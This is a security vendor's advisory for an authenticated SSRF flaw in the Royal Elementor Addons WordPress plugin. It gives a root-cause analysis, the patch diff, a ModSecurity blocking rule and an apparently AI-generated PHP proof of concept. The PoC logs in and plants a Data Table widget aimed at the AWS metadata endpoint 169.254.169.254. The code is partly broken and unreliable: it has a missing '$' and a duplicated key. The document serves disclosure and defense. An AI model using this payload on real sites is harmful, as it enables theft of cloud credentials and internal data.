Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2026-6229: Royal Addons for Elementor <= 1.7.1057 – Authenticated (Contributor+) Server-Side Request Forgery via CSV URL Parameter (royal-elementor-addons)

CVE ID CVE-2026-6229
Severity High (CVSS 7.2)
CWE 918
Vulnerable Version 1.7.1057
Patched Version 1.7.1058
Disclosed April 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6229:

This is an authenticated Server-Side Request Forgery (SSRF) vulnerability in Royal Elementor Addons for WordPress, version 1.7.1057 and earlier. The vulnerability exists in the Data Table widget’s CSV import functionality. Attackers with Contributor-level access or higher can exploit insufficient URL validation in the render_csv_data() function to make requests to arbitrary internal or external hosts. The CVSS score is 7.2.

The root cause lies in the render_csv_data() method (royal-elementor-addons/modules/data-table/widgets/wpr-data-table.php, line 1826+). The vulnerable code directly passed user-supplied URL from the widget settings (table_insert_url) to fopen() after a trivial check. The original code only verified if the file extension was ‘csv’ or if the URL path contained ‘docs.google.com/spreadsheets’. It performed no validation of the host, scheme, or network destination. An attacker could supply any URL that ended with .csv or contained the Google Sheets string, including URLs pointing to internal services like 169.254.169.254 (AWS metadata) or localhost.

Exploitation requires an authenticated user with Contributor-level permissions. The attacker creates or edits a page/post using Elementor, adds the Data Table widget, selects ‘URL’ as the CSV type, and enters a crafted URL in the ‘table_insert_url’ field. The URL must either end in ‘.csv’ or include ‘docs.google.com/spreadsheets’ in its path to bypass the original checks. Example payload: https://docs.google.com/spreadsheets.csv?anything=http://169.254.169.254/latest/meta-data/. When the widget renders, render_csv_data() passes this URL directly to fopen(), which initiates a server-side request to the specified host.

The patch introduces comprehensive URL validation via three new methods: wpr_validate_remote_csv_url(), wpr_normalize_google_sheets_csv_url(), and wpr_is_blocked_remote_host(). The patched code checks the URL scheme (only HTTP/HTTPS allowed), validates the host against a configurable allowlist, and resolves the hostname to IP addresses to block private, loopback, and link-local ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, IPv6 equivalents). Additionally, the patch adds a capability check: only administrators can use remote CSV URLs during Elementor editor AJAX requests. The fopen() call is replaced with wpr_get_csv_handle() which uses wp_safe_remote_get() for remote URLs, leveraging WordPress’s built-in SSRF protections.

Successful exploitation allows an attacker to read sensitive data from internal services such as cloud metadata endpoints (AWS, GCP, Azure), internal APIs, databases, or other services that do not require authentication from localhost. The response from the target URL is reflected in the rendered Data Table output visible to the attacker. This can lead to credential disclosure, infrastructure mapping, and further lateral movement within the network.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/royal-elementor-addons/admin/templates/library/wpr-templates-data.php
+++ b/royal-elementor-addons/admin/templates/library/wpr-templates-data.php
@@ -831,7 +831,7 @@
 			],
 			'hotel' => [
 				'v1' => [
-					'name' => 'Hotel',
+					'name' => 'Hotel V1',
 					'pages' => 'home,dining,rooms,services,history,gallery,contact,',
 					'plugins' => '{"media-library-assistant":'. $is_mla_active .'}',
 					'tags' => 'hotel motel rooms apartment guest house budget hotel lodge lodging resort bnb accommodation resort travel tourism luxury hotel',
@@ -840,6 +840,18 @@
 					'off-canvas' => false,
 					'price' => $is_pro_active ? 'free' : 'pro',
 					'label' => '',
+					'priority' => 120,
+				],
+				'v2' => [
+					'name' => 'Hotel V2',
+					'pages' => 'home,about,rooms,single-room,services,events,blog,single-blog,contact,',
+					'plugins' => '{}',
+					'tags' => 'hotel rooms apartment resort bnb accommodation tourism luxury hotel booking reservation travel vacation rent trip suites hospitality guest service wellness spa ',
+					'theme-builder' => true,
+					'woo-builder' => false,
+					'off-canvas' => false,
+					'price' => $is_pro_active ? 'free' : 'pro',
+					'label' => 'new',
 					'priority' => 20,
 				],
 			],
@@ -2827,11 +2839,17 @@
 				'price' => $is_pro_active ? 'free' : 'free	',
 			],
 			'hotel-v1' => [
-				'name' => 'Hotel',
+				'name' => 'Hotel V1',
 				'pages' => ['home','dining','rooms','services','history','gallery','contact'],
 				'preview' => ['home','dining','rooms','services','history','gallery','contact'],
 				'price' => $is_pro_active ? 'free' : 'pro',
 			],
+			'hotel-v2' => [
+				'name' => 'Hotel V2',
+				'pages' => ['home','about','rooms','single-room','services','events','blog','contact'],
+				'preview' => ['home','about','rooms','single-room','services','events','blog','contact'],
+				'price' => $is_pro_active ? 'free' : 'pro',
+			],
 			'digital-seo-marketing-agency-v1' => [
 				'name' => 'Digital SEO Agency v1',
 				'pages' => ['home','about','services','team','projects','details','pricing','blog','faq','contact'],
--- a/royal-elementor-addons/modules/data-table/widgets/wpr-data-table.php
+++ b/royal-elementor-addons/modules/data-table/widgets/wpr-data-table.php
@@ -16,8 +16,6 @@
 use ElementorGroup_Control_Image_Size;
 use WprAddonsClassesUtilities;

-
-
 // Security Note: Blocks direct access to the plugin PHP files.
 defined('ABSPATH') || die();

@@ -1823,16 +1821,22 @@

 	public function render_custom_pagination($settings, $countRows) {}

-	protected function render_csv_data($url, $custom_pagination, $sorting_icon, $settings) {
-
-		$url_ext = pathinfo($url, PATHINFO_EXTENSION);
-		$url_ext2 = pathinfo($url);
-
+	protected function render_csv_data($url, $custom_pagination, $sorting_icon, $settings, $is_remote_csv_url = false) {
 		ob_start();
-		if( $url_ext === 'csv' || str_contains($url_ext2['dirname'], 'docs.google.com/spreadsheets') ) {
-			if (str_contains($url_ext2['dirname'], 'docs.google.com/spreadsheets')) {
-				$url = $settings['table_insert_url']['url'];
+
+		if ( $is_remote_csv_url ) {
+			$url = isset( $settings['table_insert_url']['url'] ) ? $settings['table_insert_url']['url'] : $url;
+			$validated_url = $this->wpr_validate_remote_csv_url( $url );
+
+			if ( is_wp_error( $validated_url ) ) {
+				echo '<p class="wpr-no-csv-file-found">' . esc_html( $validated_url->get_error_message() ) . '</p>';
+				return ob_get_clean();
 			}
+
+			$url = $validated_url;
+		}
+
+		if ( ! empty( $url ) ) {
 			echo $this->wpr_parse_csv_to_table($url, $settings, $custom_pagination, $sorting_icon );
 		} else {
 			echo '<p class="wpr-no-csv-file-found">'. esc_html__('Please provide a CSV file.', 'wpr-addons') .'</p>';
@@ -1870,17 +1874,25 @@
 			// Add more allowed tags and attributes as needed
 		);

-		$handle = fopen($filename, "r");
+		$handle = $this->wpr_get_csv_handle( $filename );
+
+		if ( is_wp_error( $handle ) ) {
+			echo '<p class="wpr-no-csv-file-found">' . esc_html( $handle->get_error_message() ) . '</p>';
+			return;
+		}

 		// Determine the delimiter
-		$delimiter = $this->detect_csv_delimiter($filename);
+		$delimiter = $this->detect_csv_delimiter($handle);
 		//display header row if true
 		echo '<table class="wpr-append-to-scope wpr-data-table">';
 		if ( 'yes' === $settings['display_header'] ) {
 			$csvcontents = fgetcsv($handle, 0, $delimiter);
 			echo '<thead><tr class="wpr-table-head-row wpr-table-row">';
-			foreach ($csvcontents as $headercolumn) {
-				echo "<th class='wpr-table-th wpr-table-text'>". wp_kses($headercolumn, $allowed_html) . $sorting_icon ."</th>";
+			if ( is_array( $csvcontents ) ) {
+				foreach ($csvcontents as $headercolumn) {
+					$headercolumn = is_scalar( $headercolumn ) ? (string) $headercolumn : '';
+					echo "<th class='wpr-table-th wpr-table-text'>". wp_kses($headercolumn, $allowed_html) . $sorting_icon ."</th>";
+				}
 			}
 			echo '</tr></thead>';
 		}
@@ -1894,6 +1906,7 @@
 				$oddEven = $countRows % 2 == 0 ? 'wpr-even' : 'wpr-odd';
 				echo '<tr class="wpr-table-row  '. esc_attr($oddEven) .'">';
 				foreach ($csvcontents as $column) {
+					$column = is_scalar( $column ) ? (string) $column : '';
 					echo '<td class="wpr-table-td wpr-table-text">'. wp_kses($column, $allowed_html) .'</td>';
 				}
 				echo '</tr>';
@@ -1909,15 +1922,23 @@
 		fclose($handle);
 	}

-	protected function detect_csv_delimiter($filename) {
+	protected function detect_csv_delimiter($handle) {
 		$delimiters = [',', ';'];
 		$counts = [];
 		$maxCount = 0;
 		$bestDelimiter = ',';
-
-		$handle = fopen($filename, "r");
+
+		if ( ! is_resource( $handle ) ) {
+			return $bestDelimiter;
+		}
+
+		rewind( $handle );
 		$firstLine = fgets($handle);
-		fclose($handle);
+		rewind( $handle );
+
+		if ( false === $firstLine || '' === $firstLine ) {
+			return $bestDelimiter;
+		}

 		foreach ($delimiters as $delimiter) {
 			$counts[$delimiter] = count(str_getcsv($firstLine, $delimiter));
@@ -1933,6 +1954,265 @@
 		return $bestDelimiter;
 	}

+	protected function wpr_get_csv_handle( $source ) {
+		if ( ! is_string( $source ) || '' === trim( $source ) ) {
+			return new WP_Error( 'wpr_csv_invalid_source', esc_html__( 'Please provide a valid CSV source.', 'wpr-addons' ) );
+		}
+
+		$source = trim( $source );
+
+		if ( wp_http_validate_url( $source ) ) {
+			$response = wp_safe_remote_get(
+				$source,
+				[
+					'timeout' => 10,
+					'redirection' => 3,
+					'reject_unsafe_urls' => true,
+				]
+			);
+
+			if ( is_wp_error( $response ) ) {
+				return new WP_Error(
+					'wpr_csv_remote_fetch_failed',
+					sprintf(
+						/* translators: %s: HTTP error message. */
+						esc_html__( 'Could not fetch CSV data from the provided URL. Error: %s', 'wpr-addons' ),
+						esc_html( $response->get_error_message() )
+					)
+				);
+			}
+
+			$code = wp_remote_retrieve_response_code( $response );
+			if ( 200 !== (int) $code ) {
+				return new WP_Error(
+					'wpr_csv_remote_bad_response',
+					sprintf(
+						/* translators: %d: HTTP status code. */
+						esc_html__( 'Could not fetch CSV data from the provided URL. HTTP status: %d', 'wpr-addons' ),
+						(int) $code
+					)
+				);
+			}
+
+			$body = wp_remote_retrieve_body( $response );
+			if ( '' === trim( (string) $body ) ) {
+				return new WP_Error( 'wpr_csv_remote_empty', esc_html__( 'The provided CSV source is empty.', 'wpr-addons' ) );
+			}
+
+			$handle = fopen( 'php://temp', 'r+' );
+			if ( false === $handle ) {
+				return new WP_Error( 'wpr_csv_temp_stream_failed', esc_html__( 'Could not process CSV data.', 'wpr-addons' ) );
+			}
+
+			fwrite( $handle, $body );
+			rewind( $handle );
+
+			return $handle;
+		}
+
+		if ( ! is_readable( $source ) ) {
+			return new WP_Error( 'wpr_csv_local_not_readable', esc_html__( 'Please provide a valid CSV file.', 'wpr-addons' ) );
+		}
+
+		$handle = fopen( $source, 'r' );
+		if ( false === $handle ) {
+			return new WP_Error( 'wpr_csv_local_open_failed', esc_html__( 'Could not open the CSV file.', 'wpr-addons' ) );
+		}
+
+		return $handle;
+	}
+
+	protected function wpr_validate_remote_csv_url( $url ) {
+		if ( ! is_string( $url ) || '' === trim( $url ) ) {
+			return new WP_Error( 'wpr_csv_missing_url', esc_html__( 'Please provide a CSV URL.', 'wpr-addons' ) );
+		}
+
+		if ( $this->wpr_is_elementor_editor_ajax() && ! current_user_can( 'manage_options' ) ) {
+			return new WP_Error( 'wpr_csv_capability', esc_html__( 'Only administrators can use remote CSV URL sources.', 'wpr-addons' ) );
+		}
+
+		$url = trim( $url );
+		$url = $this->wpr_normalize_google_sheets_csv_url( $url );
+		$parsed_url = wp_parse_url( $url );
+
+		if ( ! is_array( $parsed_url ) || empty( $parsed_url['host'] ) ) {
+			return new WP_Error( 'wpr_csv_invalid_url', esc_html__( 'Please provide a valid CSV URL.', 'wpr-addons' ) );
+		}
+
+		$scheme = isset( $parsed_url['scheme'] ) ? strtolower( $parsed_url['scheme'] ) : '';
+		if ( ! in_array( $scheme, [ 'http', 'https' ], true ) ) {
+			return new WP_Error( 'wpr_csv_invalid_scheme', esc_html__( 'Only HTTP(S) CSV URLs are allowed.', 'wpr-addons' ) );
+		}
+
+		$host = strtolower( $parsed_url['host'] );
+		$allowed_hosts = apply_filters( 'wpr_data_table_allowed_csv_hosts', [] );
+		$allowed_hosts = array_filter( array_map( 'strtolower', (array) $allowed_hosts ) );
+
+		if ( ! empty( $allowed_hosts ) ) {
+			$is_allowed_host = false;
+			foreach ( $allowed_hosts as $allowed_host ) {
+				if ( $host === $allowed_host || str_ends_with( $host, '.' . $allowed_host ) ) {
+					$is_allowed_host = true;
+					break;
+				}
+			}
+
+			if ( ! $is_allowed_host ) {
+				return new WP_Error( 'wpr_csv_host_not_allowed', esc_html__( 'This CSV host is not allowed.', 'wpr-addons' ) );
+			}
+		}
+
+		if ( $this->wpr_is_blocked_remote_host( $host ) ) {
+			return new WP_Error( 'wpr_csv_blocked_host', esc_html__( 'This CSV URL points to a blocked network address.', 'wpr-addons' ) );
+		}
+
+		return esc_url_raw( $url );
+	}
+
+	protected function wpr_normalize_google_sheets_csv_url( $url ) {
+		if ( ! is_string( $url ) || '' === trim( $url ) ) {
+			return $url;
+		}
+
+		$url = trim( $url );
+		$parsed = wp_parse_url( $url );
+
+		if ( ! is_array( $parsed ) || empty( $parsed['host'] ) || empty( $parsed['path'] ) ) {
+			return $url;
+		}
+
+		$host = strtolower( $parsed['host'] );
+		if ( 'docs.google.com' !== $host ) {
+			return $url;
+		}
+
+		// Keep Google "published to web" URLs and ensure CSV output is requested.
+		if ( preg_match( '#^/spreadsheets/d/e/[a-zA-Z0-9-_]+/pub$#', $parsed['path'] ) ) {
+			$query_args = [];
+			if ( ! empty( $parsed['query'] ) ) {
+				parse_str( $parsed['query'], $query_args );
+			}
+
+			$query_args['output'] = 'csv';
+			$normalized_query = http_build_query( $query_args, '', '&', PHP_QUERY_RFC3986 );
+
+			return 'https://docs.google.com' . $parsed['path'] . ( $normalized_query ? '?' . $normalized_query : '' );
+		}
+
+		if ( ! preg_match( '#^/spreadsheets/d/([a-zA-Z0-9-_]+)(?:/|$)#', $parsed['path'], $matches ) ) {
+			return $url;
+		}
+
+		$sheet_id = $matches[1];
+		$gid = null;
+
+		if ( ! empty( $parsed['query'] ) ) {
+			parse_str( $parsed['query'], $query_args );
+			if ( isset( $query_args['gid'] ) && '' !== (string) $query_args['gid'] ) {
+				$gid = preg_replace( '/[^0-9]/', '', (string) $query_args['gid'] );
+			}
+		}
+
+		if ( null === $gid && ! empty( $parsed['fragment'] ) && preg_match( '/(?:^|&)gid=([0-9]+)/', (string) $parsed['fragment'], $frag_match ) ) {
+			$gid = $frag_match[1];
+		}
+
+		$csv_url = 'https://docs.google.com/spreadsheets/d/' . rawurlencode( $sheet_id ) . '/export?format=csv';
+		if ( null !== $gid && '' !== $gid ) {
+			$csv_url .= '&gid=' . rawurlencode( $gid );
+		}
+
+		return $csv_url;
+	}
+
+	protected function wpr_is_elementor_editor_ajax() {
+		if ( ! wp_doing_ajax() ) {
+			return false;
+		}
+
+		$action = isset( $_POST['action'] ) ? sanitize_text_field( wp_unslash( $_POST['action'] ) ) : '';
+
+		return 'elementor_ajax' === $action;
+	}
+
+	protected function wpr_is_blocked_remote_host( $host ) {
+		$host = trim( strtolower( (string) $host ) );
+
+		if ( '' === $host ) {
+			return true;
+		}
+
+		if ( in_array( $host, [ 'localhost', 'localhost.localdomain' ], true ) ) {
+			return true;
+		}
+
+		$ips = [];
+
+		if ( filter_var( $host, FILTER_VALIDATE_IP ) ) {
+			$ips[] = $host;
+		} else {
+			$ipv4 = @gethostbynamel( $host );
+			if ( is_array( $ipv4 ) ) {
+				$ips = array_merge( $ips, $ipv4 );
+			}
+
+			if ( function_exists( 'dns_get_record' ) ) {
+				$ipv6_records = @dns_get_record( $host, DNS_AAAA );
+				if ( is_array( $ipv6_records ) ) {
+					foreach ( $ipv6_records as $record ) {
+						if ( ! empty( $record['ipv6'] ) ) {
+							$ips[] = $record['ipv6'];
+						}
+					}
+				}
+			}
+		}
+
+		$ips = array_unique( array_filter( $ips ) );
+		// DNS resolution can be unreliable in some environments; don't block solely on that.
+		if ( empty( $ips ) ) {
+			return false;
+		}
+
+		foreach ( $ips as $ip ) {
+			if ( $this->wpr_is_private_or_local_ip( $ip ) ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	protected function wpr_is_private_or_local_ip( $ip ) {
+		if ( ! filter_var( $ip, FILTER_VALIDATE_IP ) ) {
+			return true;
+		}
+
+		if ( false === filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE ) ) {
+			return true;
+		}
+
+		if ( filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ) {
+			$packed = @inet_pton( $ip );
+			if ( false === $packed || strlen( $packed ) !== 16 ) {
+				return true;
+			}
+
+			$first = ord( $packed[0] );
+			$second = ord( $packed[1] );
+
+			if ( 0xfc === ( $first & 0xfe ) ) {
+				return true;
+			}
+
+			if ( 0xfe === $first && 0x80 === ( $second & 0xc0 ) ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+
 	public function render_th_icon($item) {
 		ob_start();
 		ElementorIcons_Manager::render_icon($item['choose_header_col_icon'], ['aria-hidden' => 'true']);
@@ -2068,17 +2348,18 @@

 		<?php if ( isset($settings['choose_csv_type']) && 'file' === $settings['choose_csv_type'] ) {

-			echo $this->render_csv_data($settings['table_upload_csv']['url'], $settings['enable_custom_pagination'], $sorting_icon, $settings);
+			echo $this->render_csv_data($settings['table_upload_csv']['url'], $settings['enable_custom_pagination'], $sorting_icon, $settings, false);

 		} elseif ( isset($settings['choose_csv_type']) && 'url' === $settings['choose_csv_type']) {

-			echo $this->render_csv_data(esc_url($settings['table_insert_url']['url']), esc_attr($settings['enable_custom_pagination']), $sorting_icon, $settings);
+			echo $this->render_csv_data(esc_url($settings['table_insert_url']['url']), esc_attr($settings['enable_custom_pagination']), $sorting_icon, $settings, true);

 		} else {

 			// Storing Data table content values
 			$countRows = 0;
-			foreach( $settings['table_content_rows'] as $content_row ) {
+			$table_content_rows = ( isset( $settings['table_content_rows'] ) && is_array( $settings['table_content_rows'] ) ) ? $settings['table_content_rows'] : [];
+			foreach( $table_content_rows as $content_row ) {
 				$countRows++;
 				$oddEven = $countRows % 2 == 0 ? 'wpr-even' : 'wpr-odd';
 				$row_id = uniqid();
@@ -2117,12 +2398,13 @@
 				}
 			} ?>

+			<?php $table_header = ( isset( $settings['table_header'] ) && is_array( $settings['table_header'] ) ) ? $settings['table_header'] : []; ?>
 			<table class="wpr-data-table" id="wpr-data-table">
-			<?php if ( $settings['table_header'] ) { ?>
+			<?php if ( ! empty( $table_header ) ) { ?>

 				<thead>
 					<tr class="wpr-table-head-row wpr-table-row">
-					<?php $i = 0; foreach ($settings['table_header'] as $item) {
+					<?php $i = 0; foreach ( $table_header as $item ) {

 						$this->add_render_attribute('th_class'. esc_attr($i), [
 							'class' => ['wpr-table-th', 'elementor-repeater-item-'. esc_attr($item['_id'])],
--- a/royal-elementor-addons/wpr-addons.php
+++ b/royal-elementor-addons/wpr-addons.php
@@ -4,11 +4,11 @@
  * Description: The only plugin you need for Elementor page builder.
  * Plugin URI: https://royal-elementor-addons.com/
  * Author: WP Royal
- * Version: 1.7.1057
+ * Version: 1.7.1058
  * License: GPLv3
  * Author URI: https://royal-elementor-addons.com/
- * Elementor tested up to: 4.0.1
- * Elementor Pro tested up to: 4.0.1
+ * Elementor tested up to: 4.0.3
+ * Elementor Pro tested up to: 4.0.3
  *
  * Text Domain: wpr-addons
 */
@@ -17,7 +17,7 @@
 	exit; // Exit if accessed directly.
 }

-define( 'WPR_ADDONS_VERSION', '1.7.1057' );
+define( 'WPR_ADDONS_VERSION', '1.7.1058' );

 define( 'WPR_ADDONS__FILE__', __FILE__ );
 define( 'WPR_ADDONS_PLUGIN_BASE', plugin_basename( WPR_ADDONS__FILE__ ) );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php" 
  "id:2026600,phase:2,deny,status:403,chain,log,severity:CRITICAL,tag:CVE-2026-6229,tag:wordpress,tag:ssrf"
SecRule ARGS_POST:action "@streq elementor_ajax" 
  "chain"
SecRule ARGS_POST:actions "@rx (https?://((127.0.0.1)|(10.)|(172.1[6-9])|(172.2[0-9])|(172.3[0-1])|(192.168.)|(0.)|(169.254.)|(localhost)))" 
  "t:none,t:urlDecodeUni"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6229 - Royal Addons for Elementor <= 1.7.1057 - Authenticated (Contributor+) SSRF via CSV URL Parameter

<?php

// Configuration - Adjust these values
target_url = 'http://victim-wordpress-site.com';
$username = 'contributor';
$password = 'password';
$internal_target = 'http://169.254.169.254/latest/meta-data/'; // AWS metadata endpoint (example)

// Step 1: Login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);

// Step 2: Get a valid nonce for creating/editing a post
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php?post_type=page');
curl_setopt($ch, CURLOPT_POST, 0);
$response = curl_exec($ch);
preg_match('/"_wpnonce":"([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1];

if (!$nonce) {
    die('Failed to obtain nonce');
}

// Step 3: Create a page with the Data Table widget and malicious CSV URL
// We craft a minimal Elementor page using the REST API endpoint that saves page content
$page_content = array(
    'title' => 'SSRF Test',
    'content' => json_encode(array(
        array(
            'id' => 'widgetId1',
            'elType' => 'widget',
            'widgetType' => 'wpr-data-table',
            'settings' => array(
                'choose_csv_type' => 'url',
                'table_insert_url' => array(
                    'url' => $internal_target,  // SSRF target, but must pass original validation
                    // To bypass original checks, we embed the string 'docs.google.com/spreadsheets' in a way that appears in the URL
                    // Actually the original code checks str_contains for 'docs.google.com/spreadsheets' in dirname, so we can add a query param:
                    // The url will be: http://169.254.169.254/latest/meta-data/?dummy=docs.google.com/spreadsheets
                    // But the attacker could also use a .csv extension
                    'url' => $internal_target . '?dummy=docs.google.com/spreadsheets',
                ),
                'table_upload_csv' => array( 'url' => '' ),
                'enable_custom_pagination' => '',
                'display_header' => 'yes',
                'table_content_rows' => array(),
                'table_header' => array(),
            ),
        ),
    )),
    'status' => 'publish',
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/pages');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($page_content));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce,
));
$response = curl_exec($ch);

// Step 4: Retrieve the new page to see the reflected data (SSRF output will be inside the data table)
curl_setopt($ch, CURLOPT_URL, $target_url . '/ssrf-test');
curl_setopt($ch, CURLOPT_POST, 0);
$page_html = curl_exec($ch);

// Look for the table content which contains the response from the internal service
echo "Page HTML (search for SSRF output):n";
echo $page_html;

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School